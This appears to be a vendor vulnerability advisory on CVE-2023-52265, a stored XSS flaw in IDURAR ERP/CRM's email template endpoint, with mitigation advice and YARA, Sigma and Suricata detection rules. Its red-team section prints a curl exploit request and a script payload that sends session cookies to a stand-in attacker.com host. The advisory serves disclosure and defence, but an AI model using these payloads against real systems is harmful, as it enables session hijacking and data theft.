CVE-2023-52265
Executive Summary
CVE-2023-52265 is a stored Cross-Site Scripting (XSS) vulnerability in IDURAR (idurar-erp-crm) versions through 2.0.1. The vulnerability allows an authenticated attacker to inject arbitrary JavaScript code via a crafted JSON email template in a PATCH request to the /api/email/update endpoint. This stored XSS can lead to session hijacking, data theft, and further compromise of the ERP/CRM system. The vulnerability is publicly known but remains unpatched by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
IDURAR is an open-source ERP/CRM application. The vulnerability exists in the core application code, not in a specific package manager (NPM, PyPI, Go, Ruby). However, organizations using IDURAR should treat this as a critical supply chain risk, as the application may be deployed in internal networks with access to sensitive business data.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (authenticated user)
- User Interaction: Required (victim must view the crafted email template)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. While the CVSS score is medium, the impact on an ERP/CRM system can be severe due to the sensitive data typically handled.
Deep Dive & Mechanics
The vulnerability resides in the email template update functionality of IDURAR. The /api/email/update endpoint accepts a PATCH request with a JSON payload containing the email template content. The application fails to properly sanitize or escape user-supplied input before storing it in the database and later rendering it in the web interface.
Attack Flow:
- An authenticated attacker crafts a malicious JSON payload containing JavaScript code in the email template field.
- The attacker sends a PATCH request to
/api/email/updatewith the payload. - The server stores the malicious template in the database without sanitization.
- When an administrator or other user views the email template (e.g., in the email settings or template editor), the injected JavaScript executes in their browser context.
- The attacker can then perform actions such as stealing session cookies, exfiltrating data, or performing actions on behalf of the victim.
Root Cause: Lack of input validation and output encoding for the email template content.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is the current implementation. A patched version would need to implement proper input sanitization and output encoding.
Vulnerable Code (Conceptual):
// Vulnerable endpoint handler
app.patch('/api/email/update', (req, res) => {
const { template } = req.body;
// Directly stores user input without sanitization
db.emailTemplates.update({ template });
res.json({ success: true });
});
Patched Code (Conceptual):
// Patched endpoint handler
const sanitizeHtml = require('sanitize-html');
app.patch('/api/email/update', (req, res) => {
const { template } = req.body;
// Sanitize the input to remove malicious HTML/JavaScript
const sanitizedTemplate = sanitizeHtml(template, {
allowedTags: [],
allowedAttributes: {}
});
db.emailTemplates.update({ template: sanitizedTemplate });
res.json({ success: true });
});
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to an IDURAR instance (version <= 2.0.1)
- Valid user credentials with permission to update email templates
Exploitation Steps:
- Craft the malicious payload:
{
"template": "<script>alert('XSS')</script>"
}
- Send the PATCH request:
curl -X PATCH \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <token>" \
-d '{"template": "<script>alert(document.cookie)</script>"}' \
http://target.com/api/email/update
- Trigger the XSS: Have an administrator or user with access to email templates view the updated template.
Advanced Payload (Session Hijacking):
{
"template": "<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"
}
Blue Team
Detection Steps:
- Monitor PATCH requests to
/api/email/updatefor suspicious JSON payloads containing<script>tags or event handlers. - Review email template content for unexpected JavaScript code.
- Check web server logs for unusual patterns in the request body.
Mitigation Steps:
- Implement input sanitization for all user-supplied data in email templates.
- Apply Content Security Policy (CSP) headers to restrict script execution.
- Use output encoding when rendering email templates.
- Restrict access to the email template update functionality to trusted administrators only.
Indicators of Compromise (IOCs)
Network IOCs:
- PATCH requests to
/api/email/updatewith JSON payloads containing<script>tags - Outbound connections to unknown domains from the IDURAR server (data exfiltration)
File IOCs:
- Modified email template entries in the database containing JavaScript code
- Suspicious entries in web server logs showing PATCH requests with unusual payloads
Behavioral IOCs:
- Unexpected JavaScript execution in the browser when viewing email templates
- Unauthorized changes to email templates by non-admin users
Detection Engineering
YARA Rule
rule CVE_2023_52265_IDURAR_XSS {
meta:
description = "Detects stored XSS payloads in IDURAR email templates"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2023-52265"
strings:
$xss1 = "<script>" nocase
$xss2 = "onerror=" nocase
$xss3 = "onload=" nocase
$xss4 = "javascript:" nocase
$xss5 = "onclick=" nocase
condition:
any of them
}
Sigma Rule
title: CVE-2023-52265 - IDURAR Stored XSS via Email Template
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of stored XSS in IDURAR email templates
author: Valters IT
date: 2024-01-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'PATCH'
cs-uri-stem: '/api/email/update'
cs-uri-query: '*<script>*'
condition: selection
falsepositives:
- Legitimate use of JavaScript in email templates (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2023-52265 - IDURAR Stored XSS via Email Template"; flow:to_server,established; content:"PATCH"; http_method; content:"/api/email/update"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable email template editing for non-admin users if possible.
- Implement a Web Application Firewall (WAF) rule to block PATCH requests to
/api/email/updatecontaining<script>tags. - Apply input sanitization using a library like DOMPurify or sanitize-html on the server side.
Long-term Fix:
- The vendor should release a patch that properly sanitizes email template input and encodes output.
- Consider migrating to a supported ERP/CRM solution if the vendor does not provide a fix.
Workaround:
- Manually patch the application by adding input validation in the
/api/email/updateendpoint handler.
Valters IT - DevSecOps & Cyber Threat Intelligence